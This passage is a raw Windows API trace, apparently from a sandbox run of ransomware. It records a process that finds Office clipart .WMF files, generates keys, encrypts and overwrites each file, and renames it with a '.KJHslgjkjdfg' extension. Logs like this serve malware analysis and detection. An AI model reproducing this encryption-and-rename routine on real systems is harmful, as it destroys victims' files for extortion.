dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.002] GetProcessHeap () returned 0x2a0000 [0158.002] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.002] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.002] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.002] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0158.008] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.008] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.008] GetProcessHeap () returned 0x2a0000 [0158.008] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.008] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.008] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.008] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.008] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.008] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.008] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.008] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.008] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.009] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.009] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.009] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.009] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xed4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xed4, lpOverlapped=0x0) returned 1 [0158.009] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xee0, dwBufLen=0xee0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xee0) returned 1 [0158.009] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.009] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xee0, lpOverlapped=0x0) returned 1 [0158.009] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.009] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.009] SetEndOfFile (hFile=0x114) returned 1 [0158.011] GetProcessHeap () returned 0x2a0000 [0158.011] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.011] GetProcessHeap () returned 0x2a0000 [0158.011] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.011] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.kjhslgjkjdfg")) returned 1 [0158.013] CloseHandle (hObject=0x114) returned 1 [0158.013] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS00453_.WMF", cAlternateFileName="")) returned 1 [0158.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.013] GetProcessHeap () returned 0x2a0000 [0158.013] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.013] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.013] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.014] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0158.017] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.017] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.017] GetProcessHeap () returned 0x2a0000 [0158.017] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.017] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.017] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.017] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.017] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.017] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.017] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.017] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.018] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.018] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.018] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.018] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.018] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x984, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x984, lpOverlapped=0x0) returned 1 [0158.018] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x990, dwBufLen=0x990 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x990) returned 1 [0158.018] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.018] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x990, lpOverlapped=0x0) returned 1 [0158.018] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.018] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.018] SetEndOfFile (hFile=0x114) returned 1 [0158.021] GetProcessHeap () returned 0x2a0000 [0158.021] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.021] GetProcessHeap () returned 0x2a0000 [0158.021] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.021] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.kjhslgjkjdfg")) returned 1 [0158.022] CloseHandle (hObject=0x114) returned 1 [0158.022] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ba86700, ftCreationTime.dwHighDateTime=0x1bd4bea, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ba86700, ftLastWriteTime.dwHighDateTime=0x1bd4bea, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS01080_.WMF", cAlternateFileName="")) returned 1 [0158.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.023] GetProcessHeap () returned 0x2a0000 [0158.023] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.023] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.023] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.023] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.030] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.030] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.030] GetProcessHeap () returned 0x2a0000 [0158.030] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.030] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.030] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.030] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.031] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.031] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.031] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.031] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.031] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.031] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.031] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.031] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.031] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xaac, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xaac, lpOverlapped=0x0) returned 1 [0158.031] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xab0, dwBufLen=0xab0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xab0) returned 1 [0158.031] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.031] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xab0, lpOverlapped=0x0) returned 1 [0158.032] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.032] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.032] SetEndOfFile (hFile=0x114) returned 1 [0158.034] GetProcessHeap () returned 0x2a0000 [0158.034] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.034] GetProcessHeap () returned 0x2a0000 [0158.034] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.035] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01080_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01080_.wmf.kjhslgjkjdfg")) returned 1 [0158.036] CloseHandle (hObject=0x114) returned 1 [0158.036] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d186600, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4d186600, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1c08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS01603_.WMF", cAlternateFileName="")) returned 1 [0158.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.038] GetProcessHeap () returned 0x2a0000 [0158.038] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.038] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.038] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.038] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.042] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.042] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.043] GetProcessHeap () returned 0x2a0000 [0158.043] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.043] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.043] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.043] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.043] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.043] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.043] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.043] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.043] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.043] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.043] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.043] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.044] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1c08, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1c08, lpOverlapped=0x0) returned 1 [0158.045] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c10, dwBufLen=0x1c10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1c10) returned 1 [0158.045] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.045] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1c10, lpOverlapped=0x0) returned 1 [0158.046] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.046] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.046] SetEndOfFile (hFile=0x114) returned 1 [0158.048] GetProcessHeap () returned 0x2a0000 [0158.049] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.049] GetProcessHeap () returned 0x2a0000 [0158.049] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.049] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.kjhslgjkjdfg")) returned 1 [0158.051] CloseHandle (hObject=0x114) returned 1 [0158.051] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc31ccd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc31ccd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xda6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BS01634_.WMF", cAlternateFileName="")) returned 1 [0158.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.051] GetProcessHeap () returned 0x2a0000 [0158.052] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.052] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.052] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.052] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0158.056] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.056] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.056] GetProcessHeap () returned 0x2a0000 [0158.056] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.056] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.057] 